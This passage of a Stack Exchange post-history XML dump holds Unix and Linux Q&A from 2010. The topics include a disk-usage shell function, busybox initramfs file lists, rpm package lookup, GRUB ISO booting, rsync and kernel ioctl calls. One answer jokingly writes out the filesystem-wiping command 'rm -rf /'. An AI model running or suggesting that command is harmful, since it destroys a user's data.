done&#xD;&#xA;        done&#xD;&#xA;    }&#xD;&#xA;    _ducks &gt; .ducks &amp;&amp; tail .ducks&#xD;&#xA;    ;;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geekology.co.za/blog/2009/06/checking-directory-sizes-on-bash-command-line/&#xD;&#xA;  [2]: http://www.earthinfo.org/linux-disk-usage-sorted-by-size-and-human-readable/&#xD;&#xA;  [3]: http://oreilly.com/pub/h/15" />
  <row Id="10303" PostHistoryTypeId="5" PostId="4701" RevisionGUID="fff6c131-32df-4855-98db-2ad6785c4f30" CreationDate="2010-12-09T22:54:55.190" UserId="4" Comment="added 238 characters in body" Text="Here's what I use on Ubuntu 10.04, CentOS 5.5, FreeBSD and Mac OS X.&#xD;&#xA;&#xD;&#xA;I borrowed the idea from [www.geekology.co.za/][1] and [earthinfo.org][2], as well as the infamous [ducks][3] from &quot;Linux Server Hacks&quot; by O'Reilly. I am still adapting it to my needs. This is still a work in progress (As in, I was working on this on the train this morning.):&#xD;&#xA;&#xD;&#xA;    ducks () {&#xD;&#xA;        du -cks -x | sort -n | while read size fname; do&#xD;&#xA;            for unit in k M G T P E Z Y; do&#xD;&#xA;                if [ $size -lt 1024 ]; then&#xD;&#xA;                    echo -e &quot;${size}${unit}\t${fname}&quot;&#xD;&#xA;                    break&#xD;&#xA;                fi&#xD;&#xA;                size=$((size/1024))&#xD;&#xA;            done&#xD;&#xA;        done&#xD;&#xA;    }&#xD;&#xA;    ducks &gt; .ducks &amp;&amp; tail .ducks&#xD;&#xA;    ;;&#xD;&#xA;&#xD;&#xA;Here's the output:&#xD;&#xA;&#xD;&#xA;    stefan@darwin:~ $ ducks&#xD;&#xA;    32M	src&#xD;&#xA;    42M	.cpan&#xD;&#xA;    43M	.macports&#xD;&#xA;    754M	doc&#xD;&#xA;    865M	Work&#xD;&#xA;    1G	.Trash&#xD;&#xA;    4G	Library&#xD;&#xA;    17G	Downloads&#xD;&#xA;    30G	Documents&#xD;&#xA;    56G	total&#xD;&#xA;    &#xD;&#xA;    stefan@darwin:~ $&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geekology.co.za/blog/2009/06/checking-directory-sizes-on-bash-command-line/&#xD;&#xA;  [2]: http://www.earthinfo.org/linux-disk-usage-sorted-by-size-and-human-readable/&#xD;&#xA;  [3]: http://oreilly.com/pub/h/15" />
  <row Id="10304" PostHistoryTypeId="2" PostId="4702" RevisionGUID="b321f090-843f-411d-9ea4-c8635f36eac2" CreationDate="2010-12-09T23:22:31.463" UserId="1974" Text="As others have said, it comes from the term &quot;Big Wheel&quot;. I think many of us are not familiar with this term because, according to [at least one site](http://www.voanews.com/learningenglish/home/a-23-2007-04-09-voa4-83131767.html), it became a popular expression after World War Two:&#xD;&#xA;&#xD;&#xA;&gt; Big wheel is another way to describe&#xD;&#xA;&gt; an important person. A big wheel may&#xD;&#xA;&gt; be head of a company, a political&#xD;&#xA;&gt; leader, a famous doctor. They are big&#xD;&#xA;&gt; wheels because they are powerful. What&#xD;&#xA;&gt; they do affects many persons. Big&#xD;&#xA;&gt; wheels give the orders. Other people&#xD;&#xA;&gt; carry them out. As in many machines, a&#xD;&#xA;&gt; big wheel makes the little wheels&#xD;&#xA;&gt; turn.&#xD;&#xA;&gt;&#xD;&#xA;&gt; Big wheel became a popular&#xD;&#xA;&gt; expression after World War Two. It&#xD;&#xA;&gt; probably comes from an expression used&#xD;&#xA;&gt; for many years by people who fix the&#xD;&#xA;&gt; mechanical parts of cars and trucks.&#xD;&#xA;&gt; They said a person &quot;rolled a big&#xD;&#xA;&gt; wheel&quot; if he was important and had&#xD;&#xA;&gt; influence.&#xD;&#xA;&#xD;&#xA;For those like me who were born in the 1980s, we may find the following a closer cultural reference for a [Big Wheel](http://originalbigwheel.com/):&#xD;&#xA;&#xD;&#xA;![i got root!][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/wuPiO.jpg" />
  <row Id="10305" PostHistoryTypeId="5" PostId="4699" RevisionGUID="7befac1c-44ea-4d0d-a9fb-a6d4332fdc3b" CreationDate="2010-12-09T23:26:41.427" UserId="885" Comment="added busybox symlink gathering; added generic symlink gathering; added busybox `.cmd.*` gathering" Text="It's not the kernel that's generating the [initramfs](http://www.kernel.org/doc/Documentation/filesystems/ramfs-rootfs-initramfs.txt), it's [cpio](http://www.gnu.org/software/cpio/manual/cpio.html). So what you're really looking for is a way to build a cpio archive that contains devices, symbolic links, etc.&#xD;&#xA;&#xD;&#xA;Your method 2 uses `usr/gen_init_cpio` in the kernel source tree to build the cpio archive during the kernel build. That's indeed a good way of building a cpio archive without having to populate the local filesystem first (which would require being root to create all the devices, or using fakeroot or a FUSE filesystem which I'm not sure has been written already).&#xD;&#xA;&#xD;&#xA;All you're missing is generating the input file to `gen_init_cpio` as a build step. E.g. in shell:&#xD;&#xA;&#xD;&#xA;    INITRAMFS_SOURCE_DIR=/home/brandon/rascal-initramfs&#xD;&#xA;    exec &gt;initramfs_source.txt&#xD;&#xA;    echo &quot;dir /bin 755 0 0&quot;&#xD;&#xA;    echo &quot;file /bin/busybox $INITRAMFS_SOURCE_DIR/bin/busybox 755 0 0&quot;&#xD;&#xA;    for x in sh ls cp …; do echo &quot;slink /bin/$x busybox 777 0 0&quot; done&#xD;&#xA;    # etc …&#xD;&#xA;&#xD;&#xA;If you want to reflect the symbolic links to busybox that are present in your build tree, here's a way (I assume you're building on Linux):&#xD;&#xA;&#xD;&#xA;    ( cd &quot;$INITRAMFS_SOURCE_DIR/bin&quot; &amp;&amp;&#xD;&#xA;      for x in *; do&#xD;&#xA;        if [ &quot;$(readlink &quot;$x&quot;)&quot; = busybox ]; then&#xD;&#xA;          echo &quot;slink /bin/$x busybox 777 0 0&quot;&#xD;&#xA;        fi&#xD;&#xA;      done )&#xD;&#xA;&#xD;&#xA;Here's a way to copy all your symbolic links:&#xD;&#xA;&#xD;&#xA;    find &quot;$INITRAMFS_SOURCE_DIR&quot; -type l -printf 'slink %p %l 777 0 0\n'&#xD;&#xA;&#xD;&#xA;For busybox, maybe your build tree doesn't have the symlinks, and instead you want to create one for every utility that you've compiled in. The simplest way I can think of is to look through your busybox build tree for `.*.o.cmd` files: there's one per generated command.&#xD;&#xA;&#xD;&#xA;    find /path/to/busybox/build/tree -name '.*.cmd' -exec sh -c '&#xD;&#xA;        for x; do&#xD;&#xA;          x=${x##*/.}&#xD;&#xA;          echo &quot;slink /bin/${x%%.*} busybox 777 0 0&quot;&#xD;&#xA;        done&#xD;&#xA;    ' _ {} +&#xD;&#xA;" />
  <row Id="10306" PostHistoryTypeId="5" PostId="4698" RevisionGUID="1ac11880-0556-4acc-bc09-acd64b5e8f05" CreationDate="2010-12-09T23:38:36.277" UserId="2996" Comment="deleted 92 characters in body" Text="Having been directed to initramfs by an answer to [my earlier question][1] (thanks!), I've been working on getting initramfs working. I can now boot the kernel and drop to a shell prompt, where I can execute busybox commands, which is awesome.&#xD;&#xA;&#xD;&#xA;Here's where I'm stuck-- there are (at least) two methods of generating initramfs images:&#xD;&#xA;&#xD;&#xA; 1. By passing the kernel a path to a prebuilt directory hierarchy to be compressed&#xD;&#xA; 2. By passing the kernel the name of a file that lists the files to be included.&#xD;&#xA;&#xD;&#xA;The second method seemed a little cleaner, so I've been using that.&#xD;&#xA;&#xD;&#xA;Just for reference, here's my file list so far:&#xD;&#xA;&#xD;&#xA;    dir /dev 755 0 0&#xD;&#xA;    nod /dev/console 644 0 0 c 5 1&#xD;&#xA;    nod /dev/loop0 644 0 0 b 7 0&#xD;&#xA;    dir /bin 755 1000 1000&#xD;&#xA;    slink /bin/sh busybox 777 0 0&#xD;&#xA;    file /bin/busybox /home/brandon/rascal-initramfs/bin/busybox 755 0 0&#xD;&#xA;    dir /proc 755 0 0&#xD;&#xA;    dir /sys 755 0 0&#xD;&#xA;    dir /mnt 755 0 0&#xD;&#xA;    file /init /home/brandon/rascal-initramfs/init.sh 755 0 0&#xD;&#xA;&#xD;&#xA;Unfortunately, I have learned that busybox requires a long list of links to serve as aliases to all of its different commands. Is there a way to generate the list of all these commands so I can add it to my file list?&#xD;&#xA;&#xD;&#xA;Alternatively, I could switch to method 1, using the prebuilt directory hierarchy, but I'm not sure how to make the /dev nodes in that case.&#xD;&#xA;&#xD;&#xA;Both of these paths seem messy. Is there an elegant solution to this?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4660/debugging-ethernet-before-nfs-boot" />
  <row Id="10307" PostHistoryTypeId="2" PostId="4703" RevisionGUID="1f40ba7e-fea2-42e8-b9d3-da8f0aa54b98" CreationDate="2010-12-09T23:53:57.173" UserId="1974" Text="I have the [Firefly Media Server (mt-daap)](http://www.fireflymediaserver.org/) set up on an Ubuntu 10.10 VM, and I Ubuntu 10.10 set up on my laptop. I am running Rhythmbox and using that to play the music files off the daap share. Unfortunetly, very few of the files play -- Rhythmbox just skips right over them and jumps to the next file. It has occasionally asked me to install a codec, and everytime it has asked I have authorized it to.&#xD;&#xA;&#xD;&#xA;Almost all the files are `m4a` files, both the ones that play as well as the ones that don't/ The output of `file` for one that plays is:&#xD;&#xA;&#xD;&#xA;&gt; ISO Media, MPEG v4 system, iTunes AAC-LC&#xD;&#xA;&#xD;&#xA;The `file` command produces the same output for files which won't play. How can I troubleshoot this further / how can I make Rhythmbox play these other files?" />
  <row Id="10308" PostHistoryTypeId="1" PostId="4703" RevisionGUID="1f40ba7e-fea2-42e8-b9d3-da8f0aa54b98" CreationDate="2010-12-09T23:53:57.173" UserId="1974" Text="Why can't Rhythmbox play most of the files from my mt-daap share?" />
  <row Id="10309" PostHistoryTypeId="3" PostId="4703" RevisionGUID="1f40ba7e-fea2-42e8-b9d3-da8f0aa54b98" CreationDate="2010-12-09T23:53:57.173" UserId="1974" Text="éubuntuàérhythmboxàémusicàécodecà" />
  <row Id="10310" PostHistoryTypeId="5" PostId="4594" RevisionGUID="8011dde1-a419-470d-83e8-293501722b42" CreationDate="2010-12-09T23:57:57.173" UserId="688" Comment="rm potential noise" Text="And don't forget about (g)vimdiff as well..." />
  <row Id="10311" PostHistoryTypeId="2" PostId="4704" RevisionGUID="3ad9d42a-e66d-42fc-bc43-23a797f5e825" CreationDate="2010-12-10T01:19:03.170" UserId="250" Text="Have you tried [installing Grub on the USB][1] and tell it to boot from your ISO? I'm not sure with server edition, but I have been using and installing Ubuntu desktop this way.&#xD;&#xA;&#xD;&#xA;Here is the entry in my /boot/grub/grub.cfg on the USB&#xD;&#xA;&#xD;&#xA;    menuentry &quot;ubuntu-10.04-desktop-amd64.iso&quot; {&#xD;&#xA;     loopback loop /ubuntu-10.04-desktop-i386.iso&#xD;&#xA;     linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/ubuntu-10.04-desktop-i386.iso&#xD;&#xA;     initrd (loop)/casper/initrd.lz&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/665/250" />
  <row Id="10312" PostHistoryTypeId="2" PostId="4705" RevisionGUID="aaafff96-b6f9-4fef-869a-1ac17e668d39" CreationDate="2010-12-10T02:01:57.700" UserId="688" Text="In the Debian family of OSes, `wajig find-file /bin/ls` gives:&#xD;&#xA;&#xD;&#xA;    coreutils: /bin/ls&#xD;&#xA;&#xD;&#xA;That is, the file &quot;/bin/ls&quot; belongs to the Debian package named __coreutils__.&#xD;&#xA;&#xD;&#xA;What is the Fedora equivalent?" />
  <row Id="10313" PostHistoryTypeId="1" PostId="4705" RevisionGUID="aaafff96-b6f9-4fef-869a-1ac17e668d39" CreationDate="2010-12-10T02:01:57.700" UserId="688" Text="How to find out which package a file belongs to?" />
  <row Id="10314" PostHistoryTypeId="3" PostId="4705" RevisionGUID="aaafff96-b6f9-4fef-869a-1ac17e668d39" CreationDate="2010-12-10T02:01:57.700" UserId="688" Text="éfedoraàépackagingà" />
  <row Id="10315" PostHistoryTypeId="2" PostId="4706" RevisionGUID="4047014b-e0b5-4315-8793-aadbb84fb098" CreationDate="2010-12-10T02:48:55.903" UserId="1020" Text="You can use `rpm -qf /bin/ls` to figure out what package your installed version belongs to:&#xD;&#xA;&#xD;&#xA;    [09:46:58] ~ $ rpm -qf /bin/ls&#xD;&#xA;    coreutils-8.5-7.fc14.i686&#xD;&#xA;    [09:47:01] ~ $ &#xD;&#xA;&#xD;&#xA;You can also use `yum provides /bin/ls` to get a list of all available repository packages that will provide the file:&#xD;&#xA;&#xD;&#xA;    [09:47:01] ~ $ yum provides /bin/ls&#xD;&#xA;    Loaded plugins: fastestmirror, langpacks, presto, refresh-packagekit&#xD;&#xA;    Adding en_US to language list&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * fedora: archive.linux.duke.edu&#xD;&#xA;     * rpmfusion-free: mirrors.tummy.com&#xD;&#xA;     * rpmfusion-free-updates: mirrors.tummy.com&#xD;&#xA;     * rpmfusion-nonfree: mirrors.tummy.com&#xD;&#xA;     * rpmfusion-nonfree-updates: mirrors.tummy.com&#xD;&#xA;     * updates: mirror.vcu.edu&#xD;&#xA;    coreutils-8.5-6.fc14.i686 : A set of basic GNU tools commonly used in shell&#xD;&#xA;                              : scripts&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from:&#xD;&#xA;    Filename    : /bin/ls&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    coreutils-8.5-7.fc14.i686 : A set of basic GNU tools commonly used in shell&#xD;&#xA;                              : scripts&#xD;&#xA;    Repo        : updates&#xD;&#xA;    Matched from:&#xD;&#xA;    Filename    : /bin/ls&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    coreutils-8.5-7.fc14.i686 : A set of basic GNU tools commonly used in shell&#xD;&#xA;                              : scripts&#xD;&#xA;    Repo        : installed&#xD;&#xA;    Matched from:&#xD;&#xA;    Other       : Provides-match: /bin/ls&#xD;&#xA;&#xD;&#xA;    [09:47:01] ~ $&#xD;&#xA;" />
  <row Id="10316" PostHistoryTypeId="2" PostId="4707" RevisionGUID="dde985bd-6400-46e8-9c47-da2d5e77dc49" CreationDate="2010-12-10T02:53:32.300" UserId="3032" Text="I'm not sure if this is the place to ask, but here we go (as I've been migrated two times already)!&#xD;&#xA;&#xD;&#xA;I've been building a Linux distro, and I've stripped the binaries, etc. The system won't use GCC or development tools, as it will be a Chrome kiosk, so it would greatly help if I could strip down the system...&#xD;&#xA;&#xD;&#xA;I was wondering, is there a way that I can delete all of the unused system files (like binaries, etc.) by watching what files/libraries are used during runtime? Maybe another method is preferred, but is there a way to accomplish something like this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="10317" PostHistoryTypeId="1" PostId="4707" RevisionGUID="dde985bd-6400-46e8-9c47-da2d5e77dc49" CreationDate="2010-12-10T02:53:32.300" UserId="3032" Text="How to strip a Linux system?" />
  <row Id="10318" PostHistoryTypeId="3" PostId="4707" RevisionGUID="dde985bd-6400-46e8-9c47-da2d5e77dc49" CreationDate="2010-12-10T02:53:32.300" UserId="3032" Text="élinuxàéfilesystemsàélibrariesàéstripà" />
  <row Id="10319" PostHistoryTypeId="2" PostId="4708" RevisionGUID="3101eb73-ba9b-4af9-8d1c-abf2a2d61893" CreationDate="2010-12-10T03:25:28.000" UserId="29" Text="There are 3 tiling modes in kde spiral, columns and floating. What does each do? how do make them work for me? for example spiral seems to cut my screen in half then the next half another way. Is it possible to adjust it so that it's like 2/3? I don't understand how to make use of float. Perhaps someone could explain what each is for (or one for each answer) and how they can be used and tuned.&#xD;&#xA;&#xD;&#xA;![System Settings, Window Behavior, Window Behavior, Advanced, showing tiling settings][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/HFZo9.png" />
  <row Id="10320" PostHistoryTypeId="1" PostId="4708" RevisionGUID="3101eb73-ba9b-4af9-8d1c-abf2a2d61893" CreationDate="2010-12-10T03:25:28.000" UserId="29" Text="What is the difference between the various tiling modes in kwin? and how do I use them?" />
  <row Id="10321" PostHistoryTypeId="3" PostId="4708" RevisionGUID="3101eb73-ba9b-4af9-8d1c-abf2a2d61893" CreationDate="2010-12-10T03:25:28.000" UserId="29" Text="ékdeàéwindowömanageràékwinàétilingöwmà" />
  <row Id="10322" PostHistoryTypeId="2" PostId="4709" RevisionGUID="98ce6681-e4d4-4eb7-9174-041f31c625b3" CreationDate="2010-12-10T03:28:31.203" UserId="2180" Text="There are programs like [Bootchart][1] that can be used to show what programs you ran during startup - you can probably keep it going after boot to see what's been invoked during a session.&#xD;&#xA;&#xD;&#xA;A better solution may be to use remastering tools.&#xD;&#xA;&#xD;&#xA;There are remastering tools for [Fedora][2], [Ubuntu][3], and others; you can use these to customize a distribution.&#xD;&#xA;&#xD;&#xA;You might want to look at [Tiny Core Linux][4]. There is a guy working on [a remaster script][5] for that as well.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=linux+startup+graph&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:unofficial&amp;client=firefox-a&#xD;&#xA;  [2]: http://revisor.fedoraunity.org/&#xD;&#xA;  [3]: http://www.geekconnection.org/remastersys/ubuntu.html&#xD;&#xA;  [4]: http://www.tinycorelinux.com/&#xD;&#xA;  [5]: http://tinycorelinux.com/forum/index.php?PHPSESSID=5vmt5jpiikqjgshhtfvsfon9k4&amp;topic=677.0" />
  <row Id="10323" PostHistoryTypeId="2" PostId="4710" RevisionGUID="af02a6cc-fec0-43c7-aa73-1374d4e3c391" CreationDate="2010-12-10T03:58:02.470" UserId="3033" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I just recently installed zenwalk linux on my machine, and I am having trouble connecting to my wireless router. I am using the appropriate options such as use encryption, WEP passphrase, the correct passphrase, and so on. It sits there for a minute and gives me an error message of &quot;connection failed: bad password&quot;. I have tried everything possible in my power as far as troubleshooting goes. I tried running the wireless configuration through terminal, but I don't believe I am skilled enough to do such a task, as I have not been successful thus far. If anyone is able to help it is much appreciated.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10324" PostHistoryTypeId="1" PostId="4710" RevisionGUID="af02a6cc-fec0-43c7-aa73-1374d4e3c391" CreationDate="2010-12-10T03:58:02.470" UserId="3033" Text="Problem connecting to linksys wireless using zenwalk " />
  <row Id="10325" PostHistoryTypeId="3" PostId="4710" RevisionGUID="af02a6cc-fec0-43c7-aa73-1374d4e3c391" CreationDate="2010-12-10T03:58:02.470" UserId="3033" Text="éwirelessà" />
  <row Id="10326" PostHistoryTypeId="5" PostId="4696" RevisionGUID="c91ffe21-c5e9-49f5-a1fc-d2f26f688cbe" CreationDate="2010-12-10T05:31:19.633" UserId="3023" Comment="added 71 characters in body" Text="I have had no problem installing Ubuntu desktop when I boot off a live USB, but the server version has given me some trouble. I think it has to do with the way GRUB handles drivers. When the server install tries to look from the CD it can't find it.&#xD;&#xA;&#xD;&#xA;I use the following to load it:&#xD;&#xA;&#xD;&#xA;    find --set-root /ISO/ubuntu-10.10-server-i386.iso&#xD;&#xA;    map /ISO/ubuntu-10.10-server-i386.iso (0xff)&#xD;&#xA;    map --hook&#xD;&#xA;    root (0xff)&#xD;&#xA;    kernel /install/vmlinuz file=/cdrom/preseed/ubuntu-server.seed boot=install iso-scan/filename=/ISO/ubuntu-10.10-server-i386.iso splash&#xD;&#xA;    initrd /install/initrd.gz&#xD;&#xA;&#xD;&#xA;Is there any way to pass the location of the ISO to Ubuntu?&#xD;&#xA;&#xD;&#xA;**EDIT**: GRUB4DOS is run from the USB, not the HD." />
  <row Id="10327" PostHistoryTypeId="5" PostId="4704" RevisionGUID="aa3667ae-aa5b-44da-955d-50c66605738a" CreationDate="2010-12-10T05:46:28.267" UserId="250" Comment="added 144 characters in body" Text="Have you tried [installing Grub on the USB][1] and tell it to boot from your ISO? I'm not sure with server edition, but I have been using and installing Ubuntu desktop this way.&#xD;&#xA;&#xD;&#xA;EDIT: I have just tried this and it doesn't work. I'm leaving the answer here just to keep track of things. Just don't downvote me please ;)&#xD;&#xA;&#xD;&#xA;Here is the entry in my /boot/grub/grub.cfg on the USB&#xD;&#xA;&#xD;&#xA;    menuentry &quot;ubuntu-10.04-desktop-amd64.iso&quot; {&#xD;&#xA;     loopback loop /ubuntu-10.04-desktop-i386.iso&#xD;&#xA;     linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/ubuntu-10.04-desktop-i386.iso&#xD;&#xA;     initrd (loop)/casper/initrd.lz&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/665/250" />
  <row Id="10328" PostHistoryTypeId="2" PostId="4711" RevisionGUID="9f3237c8-79d1-4225-9739-996b3d7b38d0" CreationDate="2010-12-10T07:03:29.073" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;Going through the linux 2.6.35 source code, i could not find the ioctl() method in the file_opertaions. Instaed two new calls are seen : nlocked_ioctl() and compat_ioctl().&#xD;&#xA;I would like to know what is the difference between the ioctl(), unlocked_ioctl() and compat_ioctl()?  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="10329" PostHistoryTypeId="1" PostId="4711" RevisionGUID="9f3237c8-79d1-4225-9739-996b3d7b38d0" CreationDate="2010-12-10T07:03:29.073" UserId="2871" Text="What is the difference between ioctl(), unlocked_ioctl() and compat_ioctl()?" />
  <row Id="10330" PostHistoryTypeId="3" PostId="4711" RevisionGUID="9f3237c8-79d1-4225-9739-996b3d7b38d0" CreationDate="2010-12-10T07:03:29.073" UserId="2871" Text="élinuxàédriversà" />
  <row Id="10331" PostHistoryTypeId="5" PostId="4645" RevisionGUID="da5e2922-d1d4-4971-abfb-e788ce294143" CreationDate="2010-12-10T07:18:37.757" UserId="688" Comment="add relevant log lines" Text="I am using NetworkManager to automagically handle my networking on my wifi-powered laptop. Sadly, I tend to get randomly disconnected, and I see these messages on __/var/log/syslog__:&#xD;&#xA;&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPREQUEST on wlan0 to 10.0.0.2 port 67&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPACK from 10.0.0.2&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: bound to 10.0.0.4 -- renewal in 1662 seconds.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105982.935232] iwlagn 0000:06:00.0: Microcode SW error detected.  Restarting 0x82000000.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182330] Registered led device: iwl-phy0::radio&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182586] Registered led device: iwl-phy0::assoc&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182658] Registered led device: iwl-phy0::RX&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182872] Registered led device: iwl-phy0::TX&#xD;&#xA;&#xD;&#xA;*I think __05:40:38__ is the first line that indicates trouble*&#xD;&#xA;&#xD;&#xA;I recover from this situation with the following command each time this happens, but a less manual solution/workaround would be extra nice:&#xD;&#xA;&#xD;&#xA;    nmcli nm wifi off &amp;&amp; nmcli nm wifi on&#xD;&#xA;&#xD;&#xA;[__note__] NetworkManager I use is **0.8.1** and I use Intel's **4965** wifi chipset." />
  <row Id="10332" PostHistoryTypeId="5" PostId="4711" RevisionGUID="116d6b78-7eb0-4f31-be20-c37296d2924d" CreationDate="2010-12-10T07:18:41.687" UserId="73" Comment="deleted 47 characters in body" Text="Going through the linux 2.6.35 source code, I could not find the `ioctl()` method in `file_operations`. Instead I found two new calls: `nlocked_ioctl()` and `compat_ioctl()`.&#xD;&#xA;What is the difference between `ioctl()`, `unlocked_ioctl()`, and `compat_ioctl()`?&#xD;&#xA;" />
  <row Id="10333" PostHistoryTypeId="5" PostId="4594" RevisionGUID="9754a740-9c6f-4e37-9907-9d97038c0f5e" CreationDate="2010-12-10T07:45:53.913" UserId="2567" Comment="lang" Text="And there is also vimdiff (with it's gui version gvimdiff)." />
  <row Id="10334" PostHistoryTypeId="5" PostId="4711" RevisionGUID="29ecc7cd-05bc-4f43-9f36-5bb5fad0e8d7" CreationDate="2010-12-10T08:14:10.507" UserId="2871" Comment="2.6.35 to 2.6.36" Text="Going through the linux 2.6.36 source code, I could not find the `ioctl()` method in `file_operations`. Instead I found two new calls: `nlocked_ioctl()` and `compat_ioctl()`.&#xD;&#xA;What is the difference between `ioctl()`, `unlocked_ioctl()`, and `compat_ioctl()`?&#xD;&#xA;" />
  <row Id="10335" PostHistoryTypeId="4" PostId="4711" RevisionGUID="29ecc7cd-05bc-4f43-9f36-5bb5fad0e8d7" CreationDate="2010-12-10T08:14:10.507" UserId="2871" Comment="2.6.35 to 2.6.36" Text="What is the difference between ioctl(), unlocked_ioctl() and compat_ioctl()?6" />
  <row Id="10336" PostHistoryTypeId="6" PostId="4710" RevisionGUID="d9070d3e-6eeb-4960-a595-b39fe89b737d" CreationDate="2010-12-10T08:28:39.633" UserId="885" Comment="edited tags" Text="élinuxàéwirelessàézenwalkà" />
  <row Id="10337" PostHistoryTypeId="2" PostId="4712" RevisionGUID="d56314e7-6680-4193-aec0-55d70c818c1e" CreationDate="2010-12-10T08:59:04.730" UserId="1875" Text="How to write those into one line, also without repeat the same path?&#xD;&#xA;&#xD;&#xA;    rsync -a root@somewhere:/folder/remote/*.txt .&#xD;&#xA;    rsync -a root@somewhere:/folder/remote/*.jpg .&#xD;&#xA;" />
  <row Id="10338" PostHistoryTypeId="1" PostId="4712" RevisionGUID="d56314e7-6680-4193-aec0-55d70c818c1e" CreationDate="2010-12-10T08:59:04.730" UserId="1875" Text="Rsync two file types in one command?" />
  <row Id="10339" PostHistoryTypeId="3" PostId="4712" RevisionGUID="d56314e7-6680-4193-aec0-55d70c818c1e" CreationDate="2010-12-10T08:59:04.730" UserId="1875" Text="érsyncàétipsöandötricksàécpàéscpà" />
  <row Id="10340" PostHistoryTypeId="2" PostId="4713" RevisionGUID="4d8641fd-eb7e-4690-9166-2f11e29ff170" CreationDate="2010-12-10T09:28:41.963" UserId="252" Text="I'd write it like this:&#xD;&#xA;&#xD;&#xA;    rsync -a root@somewhere:/folder/remote/*.{txt,jpg} .&#xD;&#xA;" />
  <row Id="10341" PostHistoryTypeId="2" PostId="4714" RevisionGUID="6dddfaa4-8590-46fd-9b44-217ff624a552" CreationDate="2010-12-10T09:41:48.810" UserId="2974" Text="I believe I qualify as a Unix head and I say dash because it has fewer syllables than minus or hyphen. &#xD;&#xA;&#xD;&#xA;I'd like to read `rm -rf /` as &quot;rum ruff slash&quot; but I fear almost no-one would understand me." />
  <row Id="10342" PostHistoryTypeId="5" PostId="4711" RevisionGUID="b3755db1-fccd-4526-a2b0-017052ac245d" CreationDate="2010-12-10T10:16:58.630" UserId="2871" Comment="added lxr site" Text="Going through the linux 2.6.36 source code at [lxr.linux.no][1], I could not find the `ioctl()` method in `file_operations`. Instead I found two new calls: `unlocked_ioctl()` and `compat_ioctl()`.&#xD;&#xA;What is the difference between `ioctl()`, `unlocked_ioctl()`, and `compat_ioctl()`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.36/include/linux/fs.h#L1488" />
  <row Id="10343" PostHistoryTypeId="2" PostId="4715" RevisionGUID="985ba32d-2e85-4d43-a12d-6a8a4b809c4a" CreationDate="2010-12-10T10:22:35.620" UserId="29" Text="[KDE](http://kde.org/)&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;For users on Linux and Unix, KDE offers a full suite of user workspace applications which allow interaction with these operating systems in a modern, graphical user interface. This includes Plasma Desktop, KDE's innovative desktop interface. Other workspace applications are included to aid with system configuration, running programs, or interacting with hardware devices. While the fully integrated KDE Workspaces are only available on Linux and Unix, some of these features are available on other platforms.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;In addition to the workspace, KDE produces a number of key applications such as the Konqueror web browser, Dolphin file manager and Kontact, the comprehensive personal information management suite. However, our list of applications includes many others, including those for education, multimedia, office productivity, networking, games and much more. Most applications are available on all platforms supported by the KDE Development.&#xD;&#xA;KDE also brings to the forefront many innovations for application developers. An entire infrastructure has been designed and implemented to help programmers create robust and comprehensive applications in the most efficient manner, eliminating the complexity and tediousness of creating highly functional applications.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;It is our hope and continued ambition that the KDE team will bring open, reliable, stable and monopoly-free computing to the everyday user.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="10344" PostHistoryTypeId="2" PostId="4716" RevisionGUID="9282bd3d-0344-4738-8d12-dbbdc98fdeec" CreationDate="2010-12-10T10:22:35.620" UserId="29" Text="[KDE](http://kde.org/)" />
  <row Id="10345" PostHistoryTypeId="6" PostId="3534" RevisionGUID="5c892fde-0298-4464-a106-f72bb2333af2" CreationDate="2010-12-10T10:25:56.260" UserId="29" Comment="this is a plasma thing" Text="ékdeàédesktopöenvironmentàébugöworkaroundàéplasmaà" />
